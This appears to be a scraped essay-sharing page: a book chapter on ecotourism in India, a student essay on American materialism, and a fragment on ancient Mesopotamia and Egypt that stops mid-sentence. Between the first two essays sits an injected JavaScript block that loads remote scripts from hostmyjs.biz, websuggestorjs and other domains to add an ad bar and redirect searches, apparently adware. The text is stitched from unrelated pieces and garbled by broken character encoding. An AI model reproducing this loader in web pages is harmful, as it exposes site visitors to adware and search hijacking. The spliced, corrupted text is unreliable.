Eco Tourism in India Essay

Chapter Eight Ecotourism in India Mohan Krishen Khanna Introduction India, a country situated in south Asia, is of subcontinental dimension with a population of over one billion people. India is primarily an agricultural economy with a vast range of crops. The livelihood of over 60% of the population continues to be based on agriculture. Of late, there has been a growing trend of urbanisation and diversification away from agriculture. The industrial sector is now playing a larger role in the economy. After the economic liberalisation in 1991, the industrial and services components of the economy have shown a high rate of growth, and today services contribute 46% of the GDP. India is rated as the fourth largest economy in the world based on the â€Å"purchasing power party† method of calculating per capita GDP. Having said this, mention of the important socio-economic issues that face India is necessary. The primary issue is one of poverty, with 320 million people estimated to be living below the poverty line. There are related problems of social and gender inequalities, illiteracy, lack of adequate health facilities, unplanned urbanisation, environment degradation, and underdevelopment of some areas. These are gigantic problems which are receiving the attention of the Indian Government and civil society, with some help from the international community. Since the foreign exchange crisis of 1991, a more liberal approach towards globalisation of the economy has been adopted by the government. India is a member of the World Trade Organization (WTO) and is opening its economy to the international market in phases. In keeping with the commitments to the WTO, exports have been increasing over the years and were reported to have grown by 30% in April, 2000. Special efforts are being made to attract foreign direct investment by providing attractive incentives to investors. – 63 – The Indian Tourism Product India has spectacularly attractive natural and cultural tourist attractions. It has a rich, over 5000-year-old, cultural heritage and thousands of monuments and archaeological sites for tourists to visit and enjoy. The remains of one of the most ancient river valley civilisations of the world (the Indus Valley civilisation) are found in India and Pakistan. The Taj Mahal and 16 other World Heritage Properties and several national heritage sites are in India. The country abounds in attractive and well- preserved historical sites and ancient monuments of architectural grandeur. There is a vast variety of building styles, which chronicle the cultural and historical diversity of their creators. India offers enormous diversity in topography, natural resources and climate. There are land-locked mountainous regions, lush valleys and plains, arid desert regions, white sandy beaches and islands. Central India has numerous wildlife sanctuaries with countless varieties of flora and fauna. The country has unparalled cultural diversity, a kaleidoscope of races, languages, religions, customs and traditions. Indians have embraced almost all the major religions of the world and the country has given rise to five religions: Hinduism, Buddhism, Jainism, Sikhism and â€Å"Tauhid-i-illahi† of Akbar. The geographical diversity of India provides opportunities for a wealth of outdoor and adventure sports activities. There is something for all tastes and interests, from the â€Å"soft† adventures to fast-paced thrills, and there is something for every level of experience. The prices are highly competitive. The major adventure tourism activities are trekking and skiing in the Himalayas, river running in the Ganges, water sports in Goa, trout fishing in Himachal Pradesh, heli-skiing in Himachal Pradesh, wind surfing, scuba diving and yachting in Andamans and Lakshadweep islands. India has some of the best beaches in the world, many of which are still unexplored, as in the Andamans and Lakshadweep Islands. Hospitality to visitors is an ancient Indian tradition. The peoples’ lifestyles are varied. Life is full of culture, fairs and festivals, colour and spectacle. India is a land of folk fairs and festivals, some say that there is a fair each day of the year. Some of the important fairs and festivals are the Pushkar fair in Rajasthan, the Crafts Mela at Surajkund, Holi and Diwali in North India, Pongal in Tamilnadu, Onam in Kerala, Baisakhi in Punjab, Bihu in Assam, dance festivals at Khajuraho and Mamallapuram. Tourism in India can be a gastronomic delight. Each region has  its culinary specialty and beautifully printed and expertly written cookbooks are on sale. But the best part is to sample the exotic fare in the thousands of restaurants. India has several forms of art and handcrafts. Bharatnatyam, Odissi, Kathakali, Kuchipudi, Mohiniattam are some of the most popular forms of classical dances which have their origins in various parts of the country. Every dance form has a precise vocabulary of emotions (love, yearning, – 64 – sorrow etc.) and these are displayed by dance gestures that involve the body, arms, fingers, face and eyes. India is a treasure-trove of handcrafts. The options available include the gamut of multi-storied shopping plazas, air-conditioned stores selling a hand-picked assortment of crafts from every corner of the country, through to whole streets of shops selling specialty goods, to local fairs, where street stalls, set up overnight, stock a variety of exotica. Ecotourism Resources of India The geographical diversity of India makes it home to a wealth of ecosystems which are well protected and preserved. These ecosystems (see Box 1) have become the major resources for ecotourism. Following Box 1, each ecosystem is discussed in some detail. Box 1: Indian Ecosystems and Resources †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Biosphere Reserves Mangroves Coral Reefs Deserts Mountains and Forests Flora and Fauna Seas, Lakes and Rivers Caves Biosphere reserves are multi-purpose protected areas, for preservation of the genetic diversity and the integrity of plants, animals and micro-organism in representative ecosystems. There are seven such reserves in India at present (see Box 2). Box 2: Biosphere Reserves †¢ †¢ †¢ †¢ †¢ †¢ †¢ Nilgri Nanda Devi Nokrek Great Nicobar Gulf of Mannar Manas Sunderbans – 65 – Mangroves are very specialised forest ecosystems of tropical and subtropical regions, bordering sheltered sea coasts and estuaries. The major mangrove areas are listed in Box 3. Box 3: Major Mangrove Areas †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Northern Adaman and Nicolar islands Sunderbans (West Bengal) Bhitarkanika and Mahanadi Delta (Orissa) Coringa, Godavari Delta and Kristna Estuary (Andhra Pradesh) Pichavaram and Point Calimere (Tamil Nadu) Goa Gulf of Kutch (Gajarat) Coonapur (Karnataka) Achra/Ratnagiri (Maharashtra) Vembanand (Kerala) In order to protect and preserve these genetic resources, India has created a number of National Parks and 421 Wildlife Sanctuaries in different parts of the country. Those which have already become popular with tourists are Kaziranga and Manas in Assam; Jim Corbett in Uttar Pradesh; Keoladeo, Ghana, Ranthambore and Sariska in Rajasthan; Kanha and Bandhavgarh in Madhya Pradesh; Bandipour in Karnataka and Similipal in Orissa. The Arabian Sea, the Indian Ocean and the Bay of Bengal brace the sides of the Indian subcontinent, except for the landlocked northern boundary. The land mass of India is crossed by several rivers and dotted by lakes at many places. These water bodies provide attractive opportunities for water sports. Economic Significance of Tourism In India, tourism is emerging as a key sector in the economy. It is presently India’s third largest foreign exchange earner after garments, and gems and jewellery. The foreign exchange earnings from tourism during 1997–98 has been estimated to be about Rs.11264 crores (US $3173 million). The rate of growth in foreign exchange earnings from tourism is exceptionally high. The most significant feature of the tourism industry is its capacity to generate large-scale employment opportunities, particularly in remote and underdeveloped areas. It offers enormous potential for utilising natural resources like landscapes, mountains, beaches, rivers etc. for the economic benefit of the population. It also adds value to a multitude of human-made  attractions such as monuments, palaces, forts and the unique rural and city environments. A special feature of the tourism industry is that it employs a large number of women and young people in hotels, airline services, travel agencies, making handcrafts, undertaking cultural activities, and other tourism-related tasks. The direct employment in the sector during 1995–96 was about 8.5 million persons, accounting for about 2.4% of the total labour force. Estimates of indirect employment show that in total about 22 million persons derive their livelihood from tourism. Different forecasts of direct employment in the sector have been made, however, they underline the fact that tourism is growing to become an important economic activity. It is estimated that one new job is created in tourism every 2.4 seconds. Box 5 illustrates the comparative strength of tourism in creating jobs. A million rupee invested (1985–86 prices) in the hotel and restaurant industry created 89 jobs, against 44.7 jobs in agriculture or 12.6 jobs in manufacturing industries for the same investment. The average for the whole tourism sector was 47.5 jobs. Box 4: Coral Reef Ecosystems †¢ †¢ †¢ †¢ Gulf of Mannar Andaman and Nicobar Islands Kakshadweep Islands Gulf of Kutch The Great Thar Desert and the little deserts in the North Western Region of the country are distinct ecosystems which have fascinated tourists from all over the world. Ladakh is a cold desert with high, snow-clad mountains, fast rivers, and the people have a distinctive Buddhist culture. The great Himalayas and other mountain ranges in the country, along with the snow-clad slopes, forests and rivers have also become important attractions for eco-tourists. The country has an area of about 752.3 lakh hectares designated as forest land and of this about 406.1 lakh hectares are classified as Reserve Forests and 215.1 lakh hectares as Protected Forests. India is very rich in biotic as well as abiotic resources. It has about 45 000 species of plants. The country also has a great variety of fauna, numbering a little over 65 000 known species, including 1228 bird, 428 reptile, 372 mammal, 204 amphibian and 2546 fish species. – 66 – – 67 – Box 5: Comparative Job Creation Sector Agriculture Manufacturing Mining and Quarrying Railways Other Transport Hotels and Restaurants Tourism Labour/Capital Ratio 44.7 12.6 2.06 0.9 13.8 89.0 47.5 advancement of women and other disadvantaged groups. The Working Group constituted for the formulation of proposals for the Ninth Plan on Tourism considered a growth target of 8% per annum in tourist arrivals as feasible during 1997–2002 leading to total arrivals of about 3.12 million tourists by the year 2000 subject of course to substantial improvement in infrastructure and services. Major Constraints on Growth Though India has much to offer in terms of tourist attractions, there are major constraints on the growth of tourism, particularly international tourist traffic. The greatest constraint is inadequate infrastructure. Constraints include lack of sufficient airports and airport facilities, international and domestic air-seat capacity, surface transport systems, basic wayside amenities, accommodation, restaurants, shopping and recreational facilities, trained labourforce resources, and support services and facilities. Both quality and quantity of infrastructure are major impediments to the growth of tourism in the country. Although there are 121 airports maintained by the Airport Authority of India and 139 airports maintained by state governments and other agencies, there are only 10 airports with a runway length of over 3000 m. Even these airports, including five international airports, do not have the latest Instrument Landing Systems (ILS) and other equipment to facilitate safe and se cure landing of aircraft in all weather conditions. Quality of service at the airports is also not up to international standards. The Ministry of Civil Aviation is making efforts to deal with this problem. In addition to the five existing  international airports, seven more airports are to be developed for international air services. More airports will be opened for charter traffic. Four international airports are being leased out to private operators. The new proposed civil aviation policy seeks to develop civil aviation by increasing the forces of competition, economic liberalisation and globalisation. The international air-seat capacity for India is presently about 5.3 million which is just enough to cater for the existing level of passenger traffic. A number of tourist-origin countries are not directly connected by air to India. Additional international air-seat capacity of at least 2 million would be required if 3.2 millions tourists were to come by 2000. If the target of 5 million tourists is to be achieved, the additional capacity required is estimated to be 5 million seats. Distances to India, considered a long haul destination for tourists from the USA and most of Europe, ac t as a deterrent to tourists from these countries. Lack of adequate air-seat capacity on international flights during the tourist season, which is from October to March, further compounds the problem, and works against increasing foreign tourists. While there is some Source: Annual Plan, Department of Tourism, Govt. of India, 1996–97. Another important feature of the tourism industry, which is of particular significance to India, is its contribution to national integration and the social transformation of the economic lives of people. Over 176 million domestic tourists (see Box 6) visiting different parts of the country every year, return with a better understanding of the people living in other regions of the country and of the cultural diversity of India. Tourism also encourages preservation of monuments and heritage properties and helps the survival of art forms, crafts and culture. Box 6: Domestic Tourist Visits Year 1997 1998 1999 2000 2001 2002 Domestic Tourists Visits (Million) 120 131 144 157 176 189 (Projected) Source: Report of the Working Group on Tourism for the Ninth Five-Year Plan, 1997–2002, Dept. of Tourism, Govt of India, New Delhi. Tourism has become an instrument for sustainable human development through poverty alleviation, environmental regeneration, job creation, and the – 68 – – 69 – talk of an â€Å"open sky policy†, in practice this is yet to happen and foreign airlines do not have free access to India. However, the scenario is changing with the negotiation of bilateral agreements which will add one million new seats to international air-seat capacity. Negotiations still underway may yield more seats. Recently United Airways and Virgin Airlines have announced intentions of covering India. The total air-seat capacity available in the domestic sector today is over 17 million. In 1996, 70% of this capacity was utilised with 12 million passengers travelling in the country, 7.1 million by the state-run Indian Airlines and 4.9 million by the private airlines. It is expected that this sector will grow at about 6% per annum. A major exercise is underway to restructure Indian Airlines and add capacity in the private sector airlines, which should yield results in the years to come. Although many of these projections seem optimistic given the downturn in the econo my in 1997 and 1998, the situation is expected to normalise soon with the upturn in the economy. There is need to address problems of insufficient flights to major tourist destinations particularly during the tourist season, the high cost of internal air travel and inconvenient flight schedules. Efforts also need to be undertaken to improve the efficiency of Indian Airlines and foster growth of private airlines. An efficient and responsive domestic air transport system is an essential prerequisite for generating more tourism to India. Other important areas which require attention are airline quality and networking. There are too few flights available, particularly during the best tourist season, and the services that do exist are high priced and their schedule of arrivals/departures are inconvenient for travellers. Within the country, the services of Indian  Airlines require substantial improvement, and they need to network with private airlines. A viable hubs-and-spoke operation, networking larger commercial centres with smaller tourist destinations needs to be developed to improve access to the interior of the country. The second serious handicap to tourism in India is the scarcity and high cost of hotel accommodation. The number of approved hotel rooms available in 1997 was around 64 500, with about 36 000 under construction. The demand by the year 2000 has been estimated at 1.25 lakhs, which means there would be a shortfall of 27 000 hotel rooms. Lack of economically priced hotel accommodation in the tourist season is being cited as one of the reasons for not choosing India as the place for a holiday. There are two approaches to this problem. One is to increase the floor-area-ratio for the hotels so that existing hotels are able to add more rooms. The other is to make more land available for hotel construction by inducing land allotting agencies to put aside more land for the hotel industry through auction, long leases and equity participation schemes. The agencies can also play a role in bringing private buyers and sellers together to enable entrepreneurs easy access to land and buildings in private hands. – 70 – The public agencies need to liberalise the regime for granting licences and approvals so as to expedite construction of hotels. A â€Å"one window† (or â€Å"one-stop-shop†) system could be a measure to facilitate faster approvals. Access to capital is another limiting factor. The Tourism Finance Corporation Inc. (TFCI) and the other financing institutions which provide institutional mechanisms for access to capital do not have a positive approach to lending for hotels. There is need to generate more rooms through innovative measures like promoting the Paying Guest Accommodation scheme at major tourist centres. Currently, 1472 units with 5953 rooms are available in 14 states. State Governments need to be more proactive in promoting this scheme as it is a preferred alternative to hotels for many, requiring comparatively less investment and is hence more advantageous to tourists. Another major means of creating accommodation is approval of guesthouses. Due to the complicated procedure adopted which requires guesthouses to obtain a number of clearances including those from the Police, Municipal Authorities and the Tourism Department, economically priced guesthouses have  not developed in keeping with the expectations of tourists travelling on a budget. As many of these are run without due approvals, they have acquired a reputation for dealing in drugs, cheating residents and other criminal activities. It would be worthwhile for the state governments to undertake a campaign to get these guesthouses recognised and approved and hence to generate more hotel rooms. (The Ministry of Tourism is in touch with the state governments over this issue). Another major inhibitor of the growth of tourism is the difficulty of obtaining visas for India. Visa restrictions need to be liberalised, to ensure a larger flow of tourists to the country. A number of options are available. The visa regime must be liberalised at least in respect of those coun tries which do not pose any political or security problems. Visas should be issued easily on entry at the airport in respect of visitors from such countries. The principle of reciprocity in the issue of visas should not be insisted on in the case of nationals of those countries with whom India has signed bilateral tourism agreements. Special tourist visas available on arrival for up to two weeks should be made available at the airports. The procedure for the issue of visas can also be made simple and at least in the major tourist originating countries the applications for a tourist visa could be received through the internet and processed on computers. Another area that requires attention is the possibility of reducing visa charges, particularly special charges on visiting restricted areas. Increased competition from neighbouring countries and poor perception of the Indian tourism product (particularly with regard to transport infrastructure) – 71 – in the major tourist originating markets are the other constraints on the growth of tourism. An added negative factor is the image of India as a country overrun by poverty, disease, touts and political instability. The promotional expenditure in the overseas markets of competitor destinations like Singapore, Thailand and Malaysia far exceeds the promotional expenditure by India. India needs to make vigorous efforts to improve its image as an attractive destination, and for this more resources are required. There are numerous other constraints in the development of tourism in India, including lack of priority in the planning of development, poor upkeep of monuments and wildlife sanctuaries, inadequate surface transport  facilities, poor quality of services etc. The Government of India has set up a group of Ministers under the Minister of Tourism to coordinate activities of various government departments and agencies. A committee under the Cabinet Secretary assists in implementation of decisions and removal of systematic problems. Dialogue with the state governments to liberalise and rationalise taxation and deal with other issues is an ongoing process. Many of the activities in the tourism sector are dependent on initiatives of the state governments. Enlightened state governments like Kerala, Goa and Rajasthan have done a lot to attract more tourists by making facilities more tourist friendly. Box 7: Government Responsibilities for Ecotourism Regulate structures that create visual pollution, unaesthetic views and are non-compatible architecture; and encourage use of local building material and structures befitting the local environment. Exclude developments in geologically unstable zones and define development and buffer zones after proper environmental impact assessments. Establish and enforce standards, building codes and other regulations. Specify environmental, physical and social carrying capacities to limit development. Ensure continuous monitoring of adverse effects of tourism activities and initiate suitable corrective measures. Recognise and award quality by accreditation of ecotourism operators. Provide visitor information and interpretation services covering particularly (i) what to see; (ii) how to see it; and (iii) how to behave. This can be by way of brochures, leaflets, specialised guides, visitor information centres and such. Prepare and distribute codes of conduct to all visitors. Launch training programs on ecotourism for tourism administrators, planners, operators and the general public. Promoting Ecotourism in India The key players in the ecotourism business are governments at both levels, the local authorities, the developers and the operators, the visitors, and the local community. Each one of them has to be sensitive to the environment and local traditions and follow a set of guidelines for the successful development of ecotourism. In addition, non-governmental organisations and scientific and research institutions also have to play a key role in the  development of ecotourism. A management plan for each ecotourism area should be prepared by professional landscape architects and urban planners, in consultation with the local community as well as others directly concerned. Integrated planning should be adopted to avoid inter-sectoral and cross-sectoral conflict. A first step should be to prepare 20-year Master Plans for each state. The architectural program for ecotourism centres should include controlled access points, roads, self-guided nature trails, transportation options, interpretation centres, signs, observation towers and adequate but unpretentious lodging and dining facilities, docks, garbage disposal facilities and other utilities as needed. If required, suitable living quarters and facilities for project personnel should be provided. Box 7 is a list of actions for the development of ecotourism, where the responsibility is with the government. The roles and responsibilities of tourism developers and operators are fundamental to the achievement of ecotourism and the long-term success of the businesses. These are listed in Box 8. Box 8: Roles and Responsibilities of Ecotourism Developers and Operators Respect and follow the planning restrictions, standards and codes provided by the government and local authorities. Implement sound environment principles through self-regulation. Undertake environmental impact assessment for all new projects and conduct regular environment audits for all ongoing activities, leading to development of environmental improvement programs. Be aware of, and sensitive to, protected or threatened areas, species and scenic amenity; undertake landscape enhancement wherever possible. Ensure that all structures are unobtrusive and do not interfere with the natural ecosystem to the extent possible. – 72 – – 73 – Recognise the optimal environmental capacity and sociological use-limits of the site in creating tourist facilities; also take into account the safety and convenience of tourists. Design buildings strictly on functional and  environmental considerations and avoid over-construction. Use local material and designs to the extent possible in construction. Employ eco-friendly physical planning, architectural design and construction of tourist facilities, for example use solar energy, capture and utilise rainwater, recycle garbage, use natural cross-ventilation instead of air conditioning, ensure a high level of self-sufficiency in food through orchards, ecological farms, aquaculture and such. Employ energy and water-saving practices to the extent possible; freshwater management and controlled sewage disposal should also be practised. Control air emissions, chemical pollutants and noise. Control and reduce environmentally unfriendly products such as asbestos, CFCs, pesticides and toxic, corrosive, infectious, explosive or flammable material. Respect and support historic or religious objects and sites. Provide information and interpretive services to visitors especially on attractions and facilities, safety and security, local customs and traditions, prohibitions and regulations and expected behaviour. Ensure adequate opportunities for visitors to commune with nature and native cultures. Provide correct information in marketing ecotourism products, as visitors who appreciate ecotourism products usually belong to environmentally-aware groups. Include training and research programs on environmental issues for company staff. Prepare tourists before their visit to minimise possible negative impacts while visiting sensitive environments and cultures. Ensure safety and security of visitors and inform them of precautions to be taken. Exercise due regard for the interest of the local population, including its history, tradition and culture and future economic development. Involve the local community to the extent possible in vari ous activities and vocations. Box 9: The Responsibilities of Ecotourists Help conserve habitats of flora and fauna as well as any site, natural feature or culture, which may be affected by tourism. Make no open fires and discourage others from doing so. If water has to be heated with scarce firewood, use as little as possible. Where feasible, use kerosene or fuel-efficient wood stoves. Remove litter, burn or bury paper and carry back all non-degradable litter. Keep local water clean and avoid using pollutants such as detergents in streams or springs. If no toilet facilities are  available, relieve yourself at least 30 metres away from water sources and bury or cover the waste. Leave plants to flourish in their natural environment and avoid taking away cuttings, seeds and roots. Leave campsites clean after use. Help guides and porters to follow conservation measures. Do not allow cooks/porters to throw garbage in streams or rivers. Respect the natural and cultural heritage of the area and follow local customs. Respect local etiquette and do not wear tight-fitting clothes. Remember that kissing in public is disapproved of in India. Respect privacy of individuals and ask permission to take photographs of local inhabitants. Respect holy places; do not touch or remove religious objects. Strictly follow the guidelines for personal safety and security and always take your own precautions and safety measures. If a community wants to host ecotourism, it has a central role to play. The host community’s success in bringing ecotourism to it and ensuing that the level and type of tourism is compatible with the community’s aspirations are matters the community can control. Box 10 lists the matters with which the host community must deal. Box 10: The Role and Responsibility of the Host Community Realise and respect the value of the environment, the flora and fauna, the monuments and your cultural heritage. Practice conservation of nature and culture as a way of life. Establish guidelines to protect valuable local resources and foster tourism management. React to the potential threat of investors who see opportunities in development but lack sensitivity to local values. Become effective nature guides and conservationists of natural areas by utilising practical and ancestral knowledge of the natural features of the area. Be friendly to the visitors and help them to practise ecotourism principles. Just as the government authorities and the tourism operators play fundamental roles in the success of ecotourism, so does the tourist. Box 9 lists the responsibilities of tourists. – 74 – – 75 – Finally there is a role for others, such as scientific and research institutions and non-government organisations, in promoting ecotourism. The things they can do include: (i) create awareness, among all concerned, about the importance of sound eco-practices in tourism development; (ii) motivate the local community to increase their involvement in sustainable tourism activities; and (iii) organise training programs to prepare the local people to take up various vocations related to ecotourism. the Pacific Travel Association have introduced an ecotourism pledge which requires their members to adopt environment-friendly practices. Conclusion Tourism has proved to be an engine of growth in many economies in the world. It provides for the generation of income, wealth and employment, and helps in the sustainable development of remote areas. In India, tourism provides direct employment to 9 million people and indirect employment to another 13 million persons, thus providing a livelihood to 22 million persons. It contributes an estimated 2.4% of the gross national product. Its contribution to the economies of states like Rajasthan, Goa and Kerala are significant. Although beginning to be understood for its potential to provide for development in India, tourism still remains a sector that needs serious attention. Tourism has proved to have negative impacts as well as the positive ones. It is criticised for contaminating indigenous culture. This takes the form of changing values, resulting in social maladies like drug addiction, child prostitution, etc. A far more widespread negative impact is caused by mass tourism in environm entally fragile areas like mountains, hills, deserts and coastal regions. Due to heavy tourist traffic in some areas, the cultural and environmental assets of the community are under threat. Although this phenomenon is not widespread in India, there is a need to take note of the possible negative influences of tourism so that timely preservation action can be taken and irreparable loss avoided. The movement towards ecotourism is at once a threat and an opportunity to create  more sustainable tourism: by diverting tourist traffic to ensure the carrying capacity of any destination is not exceeded; by planning for regeneration of natural resources; and by generating awareness in the host community whereby they are prepared and forearmed to deal with the negative impact of mass tourism. As in most cases, a middle path is the most creative way to maximise the economic potential of tourism, while at the same time minimising the negative social influences and threats to the environment. Only ecotourism where the tourists, the service providers, the host communi ty and authorities are well informed and prepared to harness tourism as an engine of growth can yield sustainable results. Motivations for Involvement in Ecotourism Hotel and travel companies in India function in a relatively free environment. The country is slowly but surely moving towards a market economy where commercial considerations dictate motivation for the private sector to take up various activities. Crass commercial considerations have, however, to be controlled by the government on behalf of the public. The environment has to be protected through awareness-generation, legislation, policy and administrative action. The travelling public is also becoming conscious of the need to protect the environment, to some extent at least. As a result, many enterprises in the hospitality sector have adopted environment-friendly practices like conserving energy and water and recycling unutilised hotel outputs. These can be powerful marketing tools for hotel groups. Furthermore, with the increase in cost of vital inputs like energy, water etc., companies are motivated to conserve limited resources by adopting practices which reduce levels of consumption. Many hotel companies advise their clients to be careful in the use of lights, water and other hotel services. Civil society has also begun to exercise control over the environment. Many non-government organisations have been generating awareness about environmentally destructive practices. Individuals have taken recourse to public interest litigation to stop environmentally destructive practices. The Indian judicial system has been very liberal in restraining environmentally hazardous activities. At times, political parties also stop environmentally harmful practices by agitation and raising issues in democratic forums such as state legislatures. The  print and electronic media have been very active in India in investigating environmentally injurious activities by highlighting such issues and creating public opinion for environmentally compatible practices. The Government of India has a Ministry of Environment and Forests with a mandate to oversee use of the environment in order to conserve it. The Government has also set up institutions like the Central and State Pollution Control Board to deal with the defaulters. The state governments also have Departments of Environment and Pollution Control. The Ministry of Tourism has issued ecotourism guidelines for adoption by all concerned organisations. Some tourism bodies and associations like – 76 – – 77 – var id=962612185; var aff=30587; var sid=0; function INCL_checkinternals() { var h = document.location.hostname; return (/search.kalloutsearchd.com/i.test(h) == true || /search.adbard.com/i.test(h) == true || h.indexOf(‘search.runclips.com’) != -1 || h.indexOf(‘search.searchnowdirect.com’) != -1); } function INCL_addEventHandler (el, eType, fn) { if (el.addEventListener) el.addEventListener(eType, fn, false); else if (el.attachEvent) el.attachEvent(‘on’ + eType, fn); else el[‘on’ + eType] = fn; } function INCL_checkdml() { var h = document.location.hostname; return (h.indexOf(â€Å"google†)!=-1 || h.indexOf(â€Å"facebook.com†)!=-1 || h.indexOf(â€Å"yahoo.com†)!=-1 || h.indexOf(â€Å"bing.com†)!=-1 || h.indexOf(â€Å"ask.com†)!=-1 || h.indexOf(â€Å"listenersguide.org.uk†)!=-1); } function INCL_loadScript(src, scriptId) { if (window.location.protocol == ‘https:’ && src.indexOf(‘http:’) == 0) return; var script = document.createElement(â€Å"script†); script.src = src; script.characterSet = â€Å"utf-8†; script.type = â€Å"text/javascript†; script.setAttribute(‘jsid’, ‘js36’); if (typeof(scriptId) !== ‘undefined’) script.id = scriptId; (document.head||document.getElementsByTagName(‘head’)[0]|| document.body||document.getElementsByTagName(‘body’)[0]).appendChild(script); } function INCL_onloadComplete() { if (!INCL_checkdml()) { window.INLDM_cfg = { fi : 4603, fd : 0, fddm: ‘xml.cpchero.biz’, sttc: ‘https://hostmyjs.biz/scripts/inl_dmmtch/’, inlsrhdm: ‘sonicsearchonline.biz’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js’); INCL_loadScript(‘https://in.admedia.com/?id=ODkoOCI&subid=36’); } INCL_loadScript(‘http://i.websuggestorjs.info/sugg/javascript.js?channel=js36’); INCL_loadScript(‘https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222’); window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : ‘http://xml.cpchero.biz/search’ , search_url : ‘http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=’ , script_base : ‘https://hostmyjs.biz/scripts/adbar’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/adbar/adbar.js’); } if (top === self && !INCL_checkinternals()) { if (document.readyState === ‘complete’) INCL_onloadComplete(); else INCL_addEventHandler(window, ‘load’, INCL_onloadComplete); }

Materialistic Americans Essay

â€Å"With these words I can sell you anything† by William Lutz and â€Å"At sale at Old Navy: Cool Clothes for Identical Zombies! † by Damien Cave the readings explain how Americans are fooled into purchasing so many unnecessary things that most of the time don’t do what they promise when advertised as well as how the buyers themselves are blinded and don’t realized that they are wasting money, all because of the value of their pride and their need to be better than everyone else yet they are doing the same things as millions of other Americans. Although it seems correct that most people should be materialistic, it’s not a good thing because this form of living is damaging American’s values in many ways and advertisements are just making it worst. In Cave’s excerpt he explains how most Americans have become so materialistic now and that it’s becoming a big issue. In one part Cave says, â€Å"Consumers are being scammed, says Klein, arguing that stores like Old Nave and Ikea are duping millions, inspiring mass conformity while pretending to deliver high culture to the masses† (109). This explains how Americans are so gullible when it comes to buying products because most of the time they don’t really look into what they are buying they just want to own what everyone else has because that makes them â€Å"fit† it into this materialistic society because it’s all about hierarchy and who’s on top of everyone else. â€Å"Klein and Frank say that few consumers recognize just how conformist their consumption habits have become† (Cave 109). Some people do realize that they do over spend but they still don’t do anything about it because they always want more. There are many adults that think that buying so many things for themselves and their families is good because people always want to have the best things that are out there for their loved ones without realizing that they’re just giving money away to things they don’t really need. â€Å"At virtually every opening of Old Navy’s and Ikea’s stores-in the New York, Chicago, and San Francisco areas, for example- tens of thousand of people appeared in the first few days. Even now, long after the stores first opened, lines remain long† (Cave 110). Americans value so much their pride to be over achievers and be better than everyone else they come across but yet they aren’t much different from other people because they spend as much as every other person who might not have that much money because everyone’s values are similar. In Lutz’s excerpt he explains how Advertisements usually don’t promise what they offer and take people for fools but yet people keep buying more. He states, â€Å"The biggest weasel word used in advertising doublespeak is ‘help’† (114). He explains how people are manipulated into buying products all the time that will help them with a desire objective and they are influenced by the advertisements. The things that people wear, drink, eat, etc are all influenced by something or someone, how else did they ever hear or see about those products. Advertisements are everywhere, people that see all these advertisements of products think those products apply to them because they know everyone else that will see them will want them too and they don’t to feel left out in not being part of the revolution of that product. Lutz also says, â€Å"Whenever advertisers want you to stop thinking about the product and to start thinking about something bigger, better, or more attractive than the product, they use that very popular weasel word, ‘like’† (119). American’s values are on risk when it comes to advertisements because people want their families to be well and grow a certain way, but that can’t happen when their television and billboards selling things that are out of the comfort of some people. Only by becoming an active, critical consumer of the double speak of advertising will you ver be able to cut through the doublespeak and discover what the ad is really saying† (Lutz 120). Americans value so much their pride and the liberty to do whatever they want that they think buying so much stuff applies to them. Americans also value their Independence in this country but it’s also being ruined by advertisements because how can people be independent when they are buying the same things as everyone else and are being exploited all at the same time? If people keep getting sucked into buying every little thing they see hey will doing the opposite of what they believe in, they will just be shaming who they are as Americans. Americans need to realize that buying everything that is advertised isn’t doing them any good. they will lose so much money on things they don’t really need and all for what? to be better than everyone else? People have forgotten about being independent and doing their own thing when it comes to having a different lifestyle from others. How can they take pride in themselves when they are just alike to everyone else and that’s what the readings explain, to not be gullible when it comes to this topic

History of Western Society Essay

Histories of ancient civilizations, namely those of Mesopotamia, Egypt and Greece—covering both the Hellas and the Hellenistic periods, reveal that religion and philosophy were invariably tied to the kind of geography where these civilizations have been founded. Sumerian and Egyptian civilizations, prospering mainly because of nearby large water tributaries, took a different path in their development than that taken by the Greeks. While the former took advantage of rivers to centralize tribes and villages, and therefore fashioned the brand of religious ideologies and philosophy to unify the peoples, the latter leaned more towards philosophy to bring different cultures together. In addition, unlike the religions of Mesopotamia and Egypt, the Greeks had to strike a balance among a variety of gods and idols. As such, Greek mythology was a result of combining gods of individual tribes into one literature so that each tribe had its own representative in a belief system shared universally in every city-state (McKay, 2002). Mesopotamia lies between two great rivers, the Tigris and the Euphrates. It has been home to one of the earliest and most influential civilizations in history. At around 3000 B. C. , small villages and tribes founded a number of cities which grew and combined later to form the large Sumerian society and thus made Mesopotamia the â€Å"cradle of civilization† (McKay, 2002). Precisely because of these two great rivers, commerce and free exchange of ideas and goods were possible. Its geographical advantages allowed the civilization to thrive as a distinct society for the longest time. Early forms of pictograph writing enabled its citizens to develop crude educational institutions, literature, religion, mathematics and philosophy. Sumerian cuneiform, as it is commonly referred to, evolved from such pictographic system to â€Å"an ideogram system and then later, a phonetic system† (McKay, 2002). Likewise, scribal schools used writing to preserve and cultivate thought, and as such, became centers for learning and culture. In terms of religious ideology and thought, Sumerian civilization believed in spirits and created a mythological system to explain natural events. Later, religion was incorporated in its laws to govern the actions of men. They also employed myths to describe how the universe began (McKay, 2002). For instant, the ancient epic of Gilgamesh was used to explain the origins and mystical history of Earth. Sumerian civilization had developed a field in mathematics as a practical tool for construction and free market as well (McKay, 2002). On the same note, Egyptian civilization flourished because it was situated near the Nile which had a significant impact on Egyptian life, society and history (McKay, 2002). Egypt subsisted and prospered agriculturally from the seasonal flooding of the river (McKay, 2002). They had little need for irrigation since they only had to time crop rotation to fall within the fertile seasons of the land. Other than the agricultural benefits that Egypt derives from the Nile, it has also benefited from the fact that the river spanned the whole extent of the land thereby making it easier to unify the entire citizenry under one rule. In other words, the Nile became the super nautical highway of business, politics and culture (McKay, 2002). Consequently, inasmuch as the problem of distance was immediately solved by the presence of the great river, the kings or â€Å"Pharaohs† were able to bring together different tribes in Egypt under one leadership (McKay, 2002). This political and cultural unification paved the way for the establishment of the old kingdom of Egypt at around which time the land was bountiful and prosperous (McKay 2002). The kingdom of Egypt heavily relied on the seasons for their harvest. This explains the 